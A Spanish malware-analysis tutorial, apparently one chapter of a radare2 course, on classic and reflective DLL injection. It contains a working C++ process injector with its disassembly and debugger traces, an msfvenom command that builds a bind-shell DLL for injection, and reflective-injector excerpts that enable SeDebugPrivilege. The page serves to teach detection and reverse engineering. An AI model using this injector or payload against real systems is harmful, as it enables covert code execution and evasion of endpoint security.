Únete al equipo de Lobera

Consulta nuestra Política de Privacidad sobre el tratamiento de esta información.

Contacta con el equipo de Lobera

Consulta nuestra Política de Privacidad sobre el tratamiento de esta información.

Análisis de malware / 32

Análisis de inyección de DLL

LoberaFormación técnica32 / 33 · 12 min de lectura · Windows · PE
32 / 33

Reconocer acceso a procesos, reservas remotas, escritura de memoria y carga de módulos.

Consultar conceptos ↗
Notas de la práctica

Las capturas corresponden al análisis original del autor. Puedes seguir la lectura del código y las evidencias desde esta página. El trabajo dinámico con muestras requiere un laboratorio Windows separado del equipo de uso habitual.

Edición parcial: diferencias con el original

Se excluyen la implementación de los inyectores, la generación de DLL con payloads y el ejercicio de DLL hijacking. Se conserva el caso de SFILE2 con sus capturas de análisis.

En esta entrega de la serie de análisis de malware con radare2, empezamos a examinar algunas técnicas básicas de inyección de código, utilizadas por el malware para evadir software antivirus. Comenzaremos por lo más básico: inyección de DLL y carga reflectiva de DLL. Son técnicas poco habituales hoy en día, pero útiles para entender los procesos y métodos subyacentes que emplean los atacantes.

Inyección básica de DLL

Según Wikipedia:

La inyección de DLL es una técnica que permite ejecutar código dentro del espacio de direcciones de otro proceso, forzándolo a cargar una biblioteca de enlace dinámico. Se utiliza a menudo desde programas externos para influir en el comportamiento de otro programa de una forma no prevista por sus autores. Por ejemplo, el código inyectado puede interceptar llamadas a funciones del sistema o leer el contenido de campos de contraseña, lo que no es posible de la forma habitual. A un programa que inyecta código arbitrario en procesos arbitrarios se le denomina inyector de DLL.

En términos sencillos, con la inyección de DLL un atacante tiene un programa malicioso en forma de DLL que quiere ejecutar en el sistema objetivo. ¿Por qué no ejecutarlo directamente? Porque los EDR y los sistemas de seguridad en general realizan comprobaciones sobre el programa antes de permitir su ejecución: verificación de firmas contra el binario para detectar patrones maliciosos conocidos, comprobación de acciones sospechosas, interceptación de llamadas a la API, entre otras técnicas de detección. Pero si el código malicioso se ejecuta dentro del proceso de un programa que ya ha sido validado, el atacante se salta esas comprobaciones y obtiene ejecución fácilmente. Esto puede hacerse de muchas maneras; una de las más sencillas es la inserción «remota» de una DLL, es decir, la inyección de DLL.

Una DLL (Dynamic-Link Library) es la implementación de Microsoft del concepto de biblioteca compartida en los sistemas operativos Windows y OS/2. Suelen tener la extensión DLL, OCX (para bibliotecas con controles ActiveX) o DRV (para controladores heredados). El formato de archivo es el mismo que el de los EXE de Windows: Portable Executable (PE) para Windows de 32 y 64 bits, y New Executable (NE) para 16 bits. Al igual que los EXE, las DLL pueden contener código, datos y recursos en cualquier combinación. En términos generales, una DLL es un conjunto de funciones relacionadas con una tarea común (por ejemplo, operaciones matemáticas avanzadas) susceptible de ser utilizada por distintos programas; la reutilización de código facilita el desarrollo. En nuestro caso, una DLL contendrá código, recursos, una lista de funciones importadas (las que necesita para funcionar) y una lista de funciones exportadas (las que ofrece a otros programas).

A continuación se muestra un ejemplo de DLL «hola mundo»:

C
#include "main.h"

// a sample exported function
void DLL_EXPORT SomeFunction(const LPCSTR sometext)
{
    MessageBoxA(0, sometext, "DLL Message", MB_OK | MB_ICONINFORMATION);
}

extern "C" DLL_EXPORT BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    switch (fdwReason)
    {
        case DLL_PROCESS_ATTACH:
            // attach to process
            // return FALSE to fail DLL load
            MessageBoxA(0, "dummy text", "DLL Message: ATTACH!", MB_OK | MB_ICONINFORMATION);
            break;

        case DLL_PROCESS_DETACH:
            // detach from process
            break;

        case DLL_THREAD_ATTACH:
            // attach to thread
            break;

        case DLL_THREAD_DETACH:
            // detach from thread
            break;
    }
    return TRUE; // succesful
}

En este caso concreto, si un programa utiliza esta DLL cargándola (por ejemplo, llamando a LoadLibrary o incluyendo la biblioteca en la compilación), podrá invocar SomeFunction, que estará en los exports. Al mismo tiempo, la DLL importa MessageBox. También vemos el código de DllMain, que es la primera llamada que se ejecuta cuando la biblioteca entra en juego. Muestra un cuadro de mensaje cuando se asocia a un proceso, que es exactamente lo que buscamos. El código tras DLL_PROCESS_ATTACH se ejecuta en cuanto la biblioteca se incluye (mediante LoadLibrary, por ejemplo) en el proceso. Así pues, si conseguimos que un proceso llame a LoadLibraryA sobre esta DLL, el MessageBox("dummytext") se ejecutará automáticamente.

Y ahí es donde entra la primera y más básica forma de inyección de DLL:

C / EJEMPLO
#include <iostream>
#include <Windows.h>

using namespace std;

int main()
{
    LPCSTR DllPath = "C:\\Users\\lab\\Documents\\projects\\DLLINJECT1\\dummydll.dll"; // The Path to our DLL

    HWND hwnd = FindWindowA(NULL, "DummyWindow1"); // HWND (Windows window) by Window Name
    DWORD procID; // A 32-bit unsigned integer, DWORDS are mostly used to store Hexadecimal Addresses
    GetWindowThreadProcessId(hwnd, &procID); // Getting our Process ID, as an ex. like 000027AC
    HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID); // Opening the Process with All Access

    // Allocate memory for the dllpath in the target process, length of the path string + null terminator
    LPVOID pDllPath = VirtualAllocEx(handle, 0, strlen(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE);

    // Write the path to the address of the memory we just allocated in the target process
    WriteProcessMemory(handle, pDllPath, (LPVOID)DllPath, strlen(DllPath) + 1, 0);

    // Create a Remote Thread in the target process which calls LoadLibraryA as our dllpath as an argument -> program loads our dll
    HANDLE hLoadThread = CreateRemoteThread(handle, 0, 0,
    (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("Kernel32.dll"), "LoadLibraryA"), pDllPath, 0, 0);

    WaitForSingleObject(hLoadThread, INFINITE); // Wait for the execution of our loader thread to finish

    cout << "Dll path allocated at: " << hex << pDllPath << endl;
    cin.get();

    VirtualFreeEx(handle, pDllPath, strlen(DllPath) + 1, MEM_RELEASE); // Free the memory allocated for our dll path

    return 0;
}

El proceso de inyección básica de DLL es sencillo:

  • Primero el atacante coloca la DLL maliciosa en disco.
  • Después abre un proceso objetivo y obtiene un handle.
  • A continuación llama a VirtualAllocEx para reservar un bloque de memoria en el proceso remoto del tamaño de la ruta de la DLL (+1 para el terminador NULL).
  • Luego escribe allí la ruta de la DLL.
  • Finalmente, inicia un nuevo hilo en ese proceso que llama a LoadLibraryA, usando la ruta de la DLL escrita como parámetro.

Para que LoadLibraryA se ejecute en el hilo remoto, necesitamos resolver su dirección; por eso usamos GetProcAddress. Como forma parte de kernel32.dll, primero obtenemos un handle a esa biblioteca. Esto se entiende más claramente en el minuto 8:00 del tutorial de Debasish Mandal, donde explica la técnica con un script sencillo en Python.

Tras eso, aparece un MessageBox. Después el programa descarga todo y vuelve a la normalidad. ¿Cómo se ve esto desde el punto de vista del reversing?

Comprobémoslo en radare2:

C / EJEMPLO
[0x00401550]> pdf
            ;-- main:
            ; CALL XREF from sym.__tmainCRTStartup @ 0x4013c2
/ 465: dbg.main (int64_t arg1);
|           ; var DWORD procID @ rbp-0x2c
|           ; var HANDLE hLoadThread @ rbp-0x28
|           ; var LPVOID pDllPath @ rbp-0x20
|           ; var HANDLE handle @ rbp-0x18
|           ; var HWND hwnd @ rbp-0x10
|           ; var LPCSTR DllPath @ rbp-0x8
|           ; var char *var_20h @ rsp+0x20
|           ; var int64_t var_28h @ rsp+0x28
|           ; var char *var_30h @ rsp+0x30
|           ; arg int64_t arg1 @ rdi
|           0x00401550      55             push rbp                    ; int main();
|           0x00401551      4889e5         mov rbp, rsp
|           0x00401554      4883ec70       sub rsp, 0x70
|           0x00401558      e833030000     call sym.__main
|           0x0040155d      488d05a43a00.  lea rax, str.C:UserslabDocumentsprojectsDLLINJECT1dummydll.dll ; 0x405008 ; "C:\Users\lab\Documents\projects\DLLINJECT1\dummydll.dll"
|           0x00401564      488945f8       mov qword [DllPath], rax
|           0x00401568      488d15d13a00.  lea rdx, str.DummyWindow1   ; 0x405040 ; "DummyWindow1"
|           0x0040156f      b900000000     mov ecx, 0
|           0x00401574      488b05f97e00.  mov rax, qword [sym.imp.USER32.dll_FindWindowA] ; [0x409474:8]=0x9892 reloc.USER32.dll_FindWindowA
|           0x0040157b      ffd0           call rax
|           0x0040157d      488945f0       mov qword [hwnd], rax
|           0x00401581      488d45d4       lea rax, [procID]
|           0x00401585      488b4df0       mov rcx, qword [hwnd]
|           0x00401589      4889c2         mov rdx, rax
|           0x0040158c      488b05e97e00.  mov rax, qword [sym.imp.USER32.dll_GetWindowThreadProcessId] ; [0x40947c:8]=0x98a0 reloc.USER32.dll_GetWindowThreadProcessId
|           0x00401593      ffd0           call rax
|           0x00401595      8b45d4         mov eax, dword [procID]
|           0x00401598      4189c0         mov r8d, eax
|           0x0040159b      ba00000000     mov edx, 0
|           0x004015a0      b9ff0f1f00     mov ecx, 0x1f0fff
|           0x004015a5      488b05687d00.  mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess] ; [0x409314:8]=0x9610 reloc.KERNEL32.dll_OpenProcess
|           0x004015ac      ffd0           call rax
|           0x004015ae      488945e8       mov qword [handle], rax
|           0x004015b2      488b45f8       mov rax, qword [DllPath]
|           0x004015b6      4889c1         mov rcx, rax
|           0x004015b9      e8f2160000     call sym.strlen
|           0x004015be      488d5001       lea rdx, [rax + 1]
|           0x004015c2      488b45e8       mov rax, qword [handle]
|           0x004015c6      c74424200400.  mov dword [var_20h], 4
|           0x004015ce      41b900100000   mov r9d, 0x1000
|           0x004015d4      4989d0         mov r8, rdx
|           0x004015d7      ba00000000     mov edx, 0
|           0x004015dc      4889c1         mov rcx, rax
|           0x004015df      488b05867d00.  mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx] ; [0x40936c:8]=0x96f4 reloc.KERNEL32.dll_VirtualAllocEx
|           0x004015e6      ffd0           call rax
|           0x004015e8      488945e0       mov qword [pDllPath], rax
|           0x004015ec      488b45f8       mov rax, qword [DllPath]
|           0x004015f0      4889c1         mov rcx, rax
|           0x004015f3      e8b8160000     call sym.strlen
|           0x004015f8      4c8d4001       lea r8, [rax + 1]
|           0x004015fc      488b4df8       mov rcx, qword [DllPath]
|           0x00401600      488b55e0       mov rdx, qword [pDllPath]
|           0x00401604      488b45e8       mov rax, qword [handle]
|           0x00401608      48c744242000.  mov qword [var_20h], 0
|           0x00401611      4d89c1         mov r9, r8
|           0x00401614      4989c8         mov r8, rcx
|           0x00401617      4889c1         mov rcx, rax
|           0x0040161a      488b05737d00.  mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory] ; [0x409394:8]=0x974e reloc.KERNEL32.dll_WriteProcessMemory ; "N\x97"
|           0x00401621      ffd0           call rax
|           0x00401623      488d0d233a00.  lea rcx, str.Kernel32.dll   ; 0x40504d ; "Kernel32.dll"
|           0x0040162a      488b05ab7c00.  mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA] ; [0x4092dc:8]=0x957a reloc.KERNEL32.dll_GetModuleHandleA ; "z\x95"
|           0x00401631      ffd0           call rax
|           0x00401633      488d15203a00.  lea rdx, str.LoadLibraryA   ; 0x40505a ; "LoadLibraryA"
|           0x0040163a      4889c1         mov rcx, rax
|           0x0040163d      488b05a07c00.  mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress] ; [0x4092e4:8]=0x958e reloc.KERNEL32.dll_GetProcAddress
|           0x00401644      ffd0           call rax
|           0x00401646      4889c1         mov rcx, rax
|           0x00401649      488b45e8       mov rax, qword [handle]
|           0x0040164d      48c744243000.  mov qword [var_30h], 0
|           0x00401656      c74424280000.  mov dword [var_28h], 0
|           0x0040165e      488b55e0       mov rdx, qword [pDllPath]
|           0x00401662      4889542420     mov qword [var_20h], rdx
|           0x00401667      4989c9         mov r9, rcx
|           0x0040166a      41b800000000   mov r8d, 0
|           0x00401670      ba00000000     mov edx, 0
|           0x00401675      4889c1         mov rcx, rax
|           0x00401678      488b05257c00.  mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread] ; [0x4092a4:8]=0x94e4 reloc.KERNEL32.dll_CreateRemoteThread
|           0x0040167f      ffd0           call rax
|           0x00401681      488945d8       mov qword [hLoadThread], rax
|           0x00401685      488b45d8       mov rax, qword [hLoadThread]
|           0x00401689      baffffffff     mov edx, 0xffffffff         ; -1
|           0x0040168e      4889c1         mov rcx, rax
|           0x00401691      488b05f47c00.  mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject] ; [0x40938c:8]=0x9738 reloc.KERNEL32.dll_WaitForSingleObject ; "8\x97"
|           0x00401698      ffd0           call rax
|           0x0040169a      488d15c63900.  lea rdx, str.Dll_path_allocated_at:_ ; 0x405067 ; "Dll path allocated at: "
|           0x004016a1      488b0df83c00.  mov rcx, qword [0x004053a0] ; [0x4053a0:8]=0x4094c4 sym.imp.libstdc_6.dll_std::cout
|           0x004016a8      e8f3000000     call sym std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*) ; sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
|           0x004016ad      4889c1         mov rcx, rax
|           0x004016b0      488d05891800.  lea rax, [dbg.std::hex(std::ios_base&)] ; dbg.std::hex_std::ios_base_
|                                                                      ; 0x402f40
|           0x004016b7      4889c2         mov rdx, rax
|           0x004016ba      e809010000     call sym std::ostream::operator<<(std::ios_base& (*)(std::ios_base&)) ; sym.std::ostream::operator___std::ios_base____std::ios_base__
|           0x004016bf      4889c1         mov rcx, rax
|           0x004016c2      488b45e0       mov rax, qword [pDllPath]
|           0x004016c6      4889c2         mov rdx, rax
|           0x004016c9      e8f2000000     call sym std::ostream::operator<<(void const*) ; sym.std::ostream::operator___void_const_
|           0x004016ce      488b15db3c00.  mov rdx, qword [0x004053b0] ; [0x4053b0:8]=0x4017a8
|           0x004016d5      4889c1         mov rcx, rax
|           0x004016d8      e8f3000000     call sym std::ostream::operator<<(std::ostream& (*)(std::ostream&)) ; sym.std::ostream::operator___std::ostream____std::ostream__
|           0x004016dd      488b0dac3c00.  mov rcx, qword [0x00405390] ; [0x405390:8]=0x4094bc sym.imp.libstdc_6.dll_std::cin
|           0x004016e4      e8ef000000     call fcn.004017d8
|           0x004016e9      488b45f8       mov rax, qword [DllPath]
|           0x004016ed      4889c1         mov rcx, rax
|           0x004016f0      e8bb150000     call sym.strlen
|           0x004016f5      488d4801       lea rcx, [rax + 1]
|           0x004016f9      488b55e0       mov rdx, qword [pDllPath]
|           0x004016fd      488b45e8       mov rax, qword [handle]
|           0x00401701      41b900800000   mov r9d, 0x8000
|           0x00401707      4989c8         mov r8, rcx
|           0x0040170a      4889c1         mov rcx, rax
|           0x0040170d      488b05607c00.  mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx] ; [0x409374:8]=0x9706 reloc.KERNEL32.dll_VirtualFreeEx
|           0x00401714      ffd0           call rax
|           0x00401716      b800000000     mov eax, 0
|           0x0040171b      4883c470       add rsp, 0x70
|           0x0040171f      5d             pop rbp
\           0x00401720      c3             ret
[0x00401550]>

Esta técnica es muy fácil de detectar en un binario (por eso casi no se usa actualmente). Básicamente encontraremos una cadena de VirtualAllocEx, WriteProcessMemory, GetProcAddress/LoadLibraryA y luego un CreateRemoteThread. Aunque la ruta de la DLL puede estar ofuscada, esa secuencia dentro de un archivo sospechoso representa una señal de alerta muy clara y los EDR la detectan con facilidad.

Desde el punto de vista del depurador, vemos que primero se carga la ruta de la DLL:

ENSAMBLADOR / REFERENCIA
hit breakpoint at: 0x40155d
[0x0040155d]> pd 10
|           ;-- rip:
|           0x0040155d b    488d05a43a00.  lea rax, str.C:UserslabDocumentsprojectsDLLINJECT1dummydll.dll ; 0x405008 ; "C:\Users\lab\Documents\projects\DLLINJECT1\dummydll.dll"
|           0x00401564      488945f8       mov qword [DllPath], rax

A continuación se recupera el identificador de ventana del proceso en el que queremos inyectar:

ENSAMBLADOR / REFERENCIA
|           0x0040157b b    ffd0           call rax
|           0x0040157d b    488945f0       mov qword [hwnd], rax
|           0x00401581      488d45d4       lea rax, [procID]
|           0x00401585      488b4df0       mov rcx, qword [hwnd]
|           0x00401589      4889c2         mov rdx, rax
[0x0040155d]> dc
hit breakpoint at: 0x40157d
[0x0040155d]> dr rax
0x000807ba
[0x0040155d]>

Luego el identificador de proceso:

ENSAMBLADOR / REFERENCIA
|           0x0040158c      488b05e97e00.  mov rax, qword [sym.imp.USER32.dll_GetWindowThreadProcessId] ; [0x40947c:8]=0x7ffe66b33500
|           0x00401593      ffd0           call rax
|           ;-- rip:
|           0x00401595 b    8b45d4         mov eax, dword [procID]
|           0x00401598      4189c0         mov r8d, eax
|           0x0040159b      ba00000000     mov edx, 0

Después el handle del proceso:

ENSAMBLADOR / REFERENCIA
|           0x004015a0      b9ff0f1f00     mov ecx, 0x1f0fff
|           0x004015a5      488b05687d00.  mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess] ; [0x409314:8]=0x7ffe6660ade0
|           0x004015ac      ffd0           call rax
|           0x004015ae      488945e8       mov qword [handle], rax

Y reservamos espacio:

ENSAMBLADOR / REFERENCIA
|           0x004015dc      4889c1         mov rcx, rax
|           0x004015df      488b05867d00.  mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx] ; [0x40936c:8]=0x7ffe6662ca20 ; " \xcabf\xfe\x7f"
|           0x004015e6      ffd0           call rax
|           ;-- rip:
|           0x004015e8 b    488945e0       mov qword [pDllPath], rax
|           0x004015ec      488b45f8       mov rax, qword [DllPath]

[0x004015ae]> dr rax
0x020c0000
[0x004015ae]>

Si comprobamos esa dirección en el proceso remoto adjuntando una sesión de depurador (r2 -d), vemos que inicialmente todo está a ceros.

CÓDIGO / SALIDA
[0x7ffe65231104]> pxw @ 0x020c0000
0x020c0000  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x020c0010  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x020c0020  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x020c0030  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x020c0040  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x020c0050  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x020c0060  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x020c0070  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x020c0080  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x020c0090  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x020c00a0  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x020c00b0  0x00000000 0x00000000 0x00000000 0x00000000  ................

Después se llama a WriteProcessMemory:

ENSAMBLADOR / REFERENCIA
|           0x004015e8 b    488945e0       mov qword [pDllPath], rax
|           0x004015ec      488b45f8       mov rax, qword [DllPath]
|           0x004015f0      4889c1         mov rcx, rax
|           0x004015f3      e8b8160000     call sym.strlen
|           0x004015f8      4c8d4001       lea r8, [rax + 1]
|           0x004015fc      488b4df8       mov rcx, qword [DllPath]
|           0x00401600      488b55e0       mov rdx, qword [pDllPath]
|           0x00401604      488b45e8       mov rax, qword [handle]
|           0x00401608      48c744242000.  mov qword [var_20h], 0
|           0x00401611      4d89c1         mov r9, r8
|           0x00401614      4989c8         mov r8, rcx
|           0x00401617      4889c1         mov rcx, rax
|           0x0040161a      488b05737d00.  mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory] ; [0x409394:8]=0x7ffe6662cc80
|           0x00401621      ffd0           call rax
|           0x00401623      488d0d233a00.  lea rcx, str.Kernel32.dll   ; 0x40504d ; "Kernel32.dll"

Y si volvemos a comprobar, vemos la ruta de la DLL escrita allí:

CÓDIGO / SALIDA
[0x7ffe65231104]> pxw @ 0x020c0000
0x020c0000  0x555c3a43 0x73726573 0x62616c5c 0x636f445c  C:\Users\lab\Doc
0x020c0010  0x6e656d75 0x705c7374 0x656a6f72 0x5c737463  uments\projects\
0x020c0020  0x494c4c44 0x43454a4e 0x645c3154 0x796d6d75  DLLINJECT1\dummy
0x020c0030  0x2e6c6c64 0x006c6c64 0x00000000 0x00000000  dll.dll.........
0x020c0040  0x00000000 0x00000000 0x00000000 0x00000000  ................

Ahora resolvemos la base de kernel32 y luego LoadLibraryA:

ENSAMBLADOR / REFERENCIA
[0x00401623]> pd 20
|           ;-- rip:
|           0x00401623 b    488d0d233a00.  lea rcx, str.Kernel32.dll   ; 0x40504d ; "Kernel32.dll"
|           0x0040162a      488b05ab7c00.  mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA] ; [0x4092dc:8]=0x7ffe6660f0b0
|           0x00401631      ffd0           call rax
|           0x00401633      488d15203a00.  lea rdx, str.LoadLibraryA   ; 0x40505a ; "LoadLibraryA"
|           0x0040163a      4889c1         mov rcx, rax
|           0x0040163d      488b05a07c00.  mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress] ; [0x4092e4:8]=0x7ffe6660aec0

[0x00401623]> dr rax
0x7ffe666104f0

Y con eso se llama a CreateRemoteThread:

ENSAMBLADOR / REFERENCIA
 0x00401646 b    4889c1         mov rcx, rax
|           0x00401649      488b45e8       mov rax, qword [handle]
|           0x0040164d      48c744243000.  mov qword [var_30h], 0
|           0x00401656      c74424280000.  mov dword [var_28h], 0
|           0x0040165e      488b55e0       mov rdx, qword [pDllPath]
|           0x00401662      4889542420     mov qword [var_20h], rdx
|           0x00401667      4989c9         mov r9, rcx
|           0x0040166a      41b800000000   mov r8d, 0
|           0x00401670      ba00000000     mov edx, 0
|           0x00401675      4889c1         mov rcx, rax
|           0x00401678      488b05257c00.  mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread] ; [0x4092a4:8]=0x7ffe6662ab20 ; " \xabbf\xfe\x7f"
|           0x0040167f      ffd0           call rax

Si volvemos al proceso víctima y comprobamos las bibliotecas cargadas, veremos una nueva dentro:

CÓDIGO / SALIDA
[0x7ffe672b0861]> dmi
0x00400000 0x00418000  C:\Users\lab\Desktop\DUMMYWINDOW.exe
0x7ffe67210000 0x7ffe67405000  C:\Windows\SYSTEM32\ntdll.dll
0x7ffe665f0000 0x7ffe666ae000  C:\Windows\System32\KERNEL32.DLL
0x7ffe64990000 0x7ffe64c59000  C:\Windows\System32\KERNELBASE.dll
0x7ffe664b0000 0x7ffe6654e000  C:\Windows\System32\msvcrt.dll
0x7ffe66b30000 0x7ffe66cd1000  C:\Windows\System32\USER32.dll
0x7ffe65230000 0x7ffe65252000  C:\Windows\System32\win32u.dll
0x7ffe666b0000 0x7ffe666db000  C:\Windows\System32\GDI32.dll
0x7ffe64ec0000 0x7ffe64fcb000  C:\Windows\System32\gdi32full.dll
0x7ffe64cf0000 0x7ffe64d8d000  C:\Windows\System32\msvcp_win.dll
0x7ffe64d90000 0x7ffe64e90000  C:\Windows\System32\ucrtbase.dll
0x7ffe665c0000 0x7ffe665f0000  C:\Windows\System32\IMM32.DLL
0x7ffe62300000 0x7ffe6239e000  C:\Windows\system32\uxtheme.dll
0x7ffe66750000 0x7ffe66aa5000  C:\Windows\System32\combase.dll
0x7ffe66e20000 0x7ffe66f4a000  C:\Windows\System32\RPCRT4.dll
0x7ffe653c0000 0x7ffe654d5000  C:\Windows\System32\MSCTF.dll
0x7ffe66f50000 0x7ffe6701d000  C:\Windows\System32\OLEAUT32.dll
0x7ffe66410000 0x7ffe664ab000  C:\Windows\System32\sechost.dll
0x7ffe62830000 0x7ffe62842000  C:\Windows\SYSTEM32\kernel.appcore.dll
0x7ffe64c60000 0x7ffe64ce3000  C:\Windows\System32\bcryptPrimitives.dll
0x7ffe590a0000 0x7ffe59199000  C:\Windows\SYSTEM32\textinputframework.dll
0x7ffe61cb0000 0x7ffe6200e000  C:\Windows\System32\CoreUIComponents.dll
0x7ffe654e0000 0x7ffe6558d000  C:\Windows\System32\SHCORE.dll
0x7ffe65d40000 0x7ffe65dec000  C:\Windows\System32\advapi32.dll
0x7ffe62010000 0x7ffe62102000  C:\Windows\System32\CoreMessaging.dll
0x7ffe666e0000 0x7ffe6674b000  C:\Windows\System32\WS2_32.dll
0x7ffe63750000 0x7ffe63783000  C:\Windows\SYSTEM32\ntmarta.dll
0x7ffe615e0000 0x7ffe61734000  C:\Windows\SYSTEM32\wintypes.dll
0x7ffe66cf0000 0x7ffe66e1a000  C:\Windows\System32\ole32.dll
0x7ffe65df0000 0x7ffe65e99000  C:\Windows\System32\clbcatq.dll

0x66800000 0x6681a000  C:\Users\lab\Documents\projects\DLLINJECT1\dummydll.dll

0x7ffe54ea0000 0x7ffe54f4c000  C:\Windows\SYSTEM32\TextShaping.dll
[0x7ffe672b0861]>

Aparece un MessageBox en pantalla.

Generar una DLL maliciosa con msfvenom

¿Pero vamos a inyectar una DummyDLL en la víctima? Podemos portar nuestro malware al formato DLL con cambios menores, o usar el framework Metasploit en nuestros pentests para generar DLL maliciosas listas para ser inyectadas con esta técnica, usando el siguiente comando:

CÓDIGO / SALIDA
┌──(lab㉿kali)-[~]
└─$ msfvenom -p windows/shell/bind_tcp LHOST=0.0.0.0 LPORT=8081 -f dll >  ./bindshell.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 326 bytes
Final size of dll file: 8704 bytes

Luego basta con editar el código mostrado anteriormente.

DLL reflectiva

El problema principal del método anterior es que el atacante necesita colocar la DLL maliciosa en disco antes de inyectarla. Muchos EDR modernos detectan el archivo tras su escritura, y un equipo de respuesta a incidentes lo encontrará fácilmente durante un examen forense. Para resolver esto, Stephen Fewer propuso hace más de diez años una técnica llamada inyección reflectiva de DLL, en la que la DLL maliciosa nunca se escribe en disco: se decodifica desde la memoria del malware, se descarga de internet (desde el C2) al vuelo, etc., pero nunca toca disco. Después se inyecta y se autocarga en el proceso objetivo. Es una forma de malware sin archivos (fileless) y aparece en MITRE como T1620. Aunque puede detectarse, tiene ventajas: al cargar la DLL de forma «no oficial» —sin usar una llamada API específica para ello—, la DLL inyectada no queda registrada, evadiendo algunos mecanismos de detección.

En resumen:

La carga reflectiva de DLL consiste en cargar una DLL desde memoria en lugar de desde disco.

Windows no dispone de una función LoadLibrary que soporte esto, así que hay que escribir una propia, omitiendo algunas de las cosas que Windows hace normalmente, como registrar la DLL como módulo cargado en el proceso, lo que potencialmente permite eludir la monitorización de carga de DLL.

El proceso de inyección reflectiva de DLL es el siguiente:

  • Abrir el proceso objetivo con permisos de lectura-escritura-ejecución y reservar memoria suficiente para la DLL completa.
  • Copiar los bytes crudos de la DLL en el espacio de memoria reservado.
  • Calcular el offset de memoria dentro de la DLL correspondiente al export que realiza la carga reflectiva.
  • Llamar a CreateRemoteThread (o a una función API no documentada equivalente como RtlCreateUserThread) para iniciar la ejecución en el proceso remoto, usando la dirección del offset de la función de carga reflectiva como punto de entrada.
  • La función del cargador reflectivo localiza el Process Environment Block del proceso objetivo usando el registro de CPU apropiado, y lo utiliza para encontrar la dirección en memoria de kernel32.dll y cualquier otra biblioteca necesaria. Más información sobre la resolución de kernel32 aquí
  • Analizar el directorio de exports de kernel32 para encontrar las direcciones de las funciones API necesarias, como LoadLibraryA, GetProcAddress y VirtualAlloc.
  • Usar esas funciones para cargar correctamente la DLL (a sí misma) en memoria y llamar a su punto de entrada, DllMain.

El código completo que usaremos para estudiar cómo detectar una inyección reflectiva de DLL es el original de Stephen Fewer.

Análisis estático

En primer lugar, un posible inyector accederá a la DLL que se va a inyectar. Puede venir en forma de archivo en disco (inusual, pero usado en el ejemplo), bytes descargados o dentro del binario en la sección de recursos, por ejemplo:

C
if( argc == 1 )
            dwProcessId = GetCurrentProcessId();
        else
            dwProcessId = atoi( argv[1] );

        if( argc >= 3 )
            cpDllFile = argv[2];

        hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
        if( hFile == INVALID_HANDLE_VALUE )
            BREAK_WITH_ERROR( "Failed to open the DLL file" );

        dwLength = GetFileSize( hFile, NULL );
        if( dwLength == INVALID_FILE_SIZE || dwLength == 0 )
            BREAK_WITH_ERROR( "Failed to get the DLL file size" );

        lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );
        if( !lpBuffer )
            BREAK_WITH_ERROR( "Failed to get the DLL file size" );

        if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )
            BREAK_WITH_ERROR( "Failed to alloc a buffer!" );

Vemos cómo se carga la cadena de la ruta aquí:

Análisis estático
FIG. 01 Análisis estático
Análisis estático
FIG. 02 Análisis estático

Se abre un handle al archivo:

Análisis estático
FIG. 03 Análisis estático

Y se leen los bytes:

Análisis estático
FIG. 04 Análisis estático

Tras eso, el atacante abre el proceso víctima y obtiene un handle. Luego llama a LoadRemoteLibraryR, una función personalizada encargada de escribir los bytes crudos de la DLL dentro del proceso remoto y pasar la ejecución al ReflectiveLoader:

C
if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
        {
            priv.PrivilegeCount           = 1;
            priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

            if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
                AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );

            CloseHandle( hToken );
        }

        hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId );
        if( !hProcess )
            BREAK_WITH_ERROR( "Failed to open the target process" );

        hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL );
        if( !hModule )
            BREAK_WITH_ERROR( "Failed to inject the DLL" );

